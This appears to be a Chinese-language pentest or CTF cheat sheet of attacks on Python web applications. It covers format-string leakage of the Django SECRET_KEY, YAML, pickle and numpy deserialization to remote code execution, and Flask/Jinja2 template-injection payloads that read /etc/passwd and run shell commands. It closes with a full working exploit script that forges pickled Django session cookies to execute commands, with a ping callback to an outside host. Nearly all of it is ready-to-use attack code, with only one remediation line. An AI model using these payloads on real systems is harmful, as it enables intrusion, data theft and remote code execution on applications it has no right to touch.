Universal

格式化字符串

"%s"%() 与 {}.format()

payload

{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

格式化字符串能导致敏感信息泄露,配合django的secret_key可以RCE

f修饰符 to RCE

python -c "f'''{__import__('os').system('id')}'''" 

但是python没有提供普通字符串转f字符串的方法,所以基本上没有更厉害的利用

YAML反序列化 to RCE

通用payload

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

Pickle反序列化 to RCE

一般在什么场景下需要用到Pickle?

  1. 通常在解析认证token,session的时候。
  2. 可能将对象Pickle后存储成磁盘文件。
  3. 可能将对象Pickle后在网络中传输。

序列化:

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化:

pickle.load(文件)
pickle.loads(字符串)

Python Pickle的任意代码执行漏洞实践和Payload构造

Numpy反序列化 to RCE

其实也是在numpy中使用了pickle.load函数的序列化

修复:

numpy.load(filename, allow_pickle=False)

Flask

SSTI

知道了SSTI的成因,后面就是利用沙箱逃逸了,关于沙箱逃逸可以看这篇文章Python沙箱逃逸的n种姿势
附上几个常用payload

#py2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('whoami')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}


#py3

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

{{ ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()") }}

{{"".__class__.__mro__[1].__subclasses__()[469].__init__.__globals__['popen']('ls').read()}}

当然,在这基础上还会有一定程度的过滤,就需要自行绕过了。
exploring-ssti-in-flask-jinja2
当同时过滤_[时该怎么解决:
Jinja2 template injection filter bypasses

SSTI/沙盒逃逸详细总结

Django

Secret_key to RCE

实现条件

  • 使用了cookie-based sessions
  • 使用了serializers.PickleSerializer( django1.5及以下,session默认是采用pickle执行序列化操作django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer

poc可以用bit4大佬的

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
#    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'cat /flag >/tmp/f1ag'
    exp(url,SECRET_KEY,command)

JSONField SQL注入漏洞

复现的时候搞了半天都不行,结果Django更新到2.x就可以了。。。
CVE-2019-14234 Django JSON SQL注入 分析

Materials

python_sec